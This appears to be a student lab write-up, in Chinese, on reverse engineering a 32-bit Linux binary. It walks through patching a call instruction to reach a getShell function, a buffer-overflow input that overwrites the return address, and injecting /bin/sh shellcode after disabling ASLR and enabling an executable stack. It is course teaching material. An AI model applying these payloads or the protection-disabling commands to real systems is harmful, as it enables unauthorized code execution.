网络对抗技术 2017-2018-2 20152515 Exp1 PC平台逆向破解(5)M

Exp1 PC平台逆向破解(5)M


1 知识要求
2 直接修改程序机器指令,改变程序执行流程
3 通过构造输入参数,造成BOF攻击,改变程序执行流
4 注入Shellcode并执行


1 知识要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    - NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    - JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    - JE:条件转移指令,如果相等则跳转。(机器码:74)
    - JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
    - CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

  • 掌握反汇编与十六进制编程器


2 直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
  • 学习目标:理解可执行文件与机器指令
  • 进阶:掌握ELF文件格式,掌握动态技术

实践目标

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

实践步骤

  • 首先让我们对pwn文件进行一个反汇编,可以看到文件中的是跳转到foo函数

  • 让我们把文件转换成十六进制看一下

  • 找到 d7 的位置

  • d7 修改为 c3c3 是根据

  • 将十六进制转换为原格式并保存

  • 运行pwn文件

实践中遇到的问题

  • 显示“不是可执行文件”
  • 显示“找不到该文件”
  • 解决:

3 通过构造输入参数,造成BOF攻击,改变程序执行流

实践步骤

  • 反汇编,了解程序的基本功能

  • 确认输入字符串哪几个字符会覆盖到返回地址

  • 确认用什么值来覆盖返回地址

        -  ```11111111222222223333333344444444\x7d\x84\x04\x08```
    
  • 构造输入字符串

  • 运行结果


4 注入Shellcode并执行

  • 准备一段Shellcode

    • shellcode就是一段机器指令(code)
      • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
      • 所以这段机器指令被称为shellcode。
      • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 准备工作

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行,(shellcode需要在堆栈中执行)
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,这样可以方便找到shellcode的地址

root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

  • 以下实践使用的shellcode如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 我们需要找到返回地址的值,

  • 成功,结果如下:

实践中遇到的问题:

  • 显示“没有execstack指令”
  • 解决:需要先apt-get install execstack 安装execstack
  • 显示“段错误”
  • 解决:

参考资料

posted @ 2018-03-08 23:34  xuanyan  阅读(245)  评论(0编辑  收藏  举报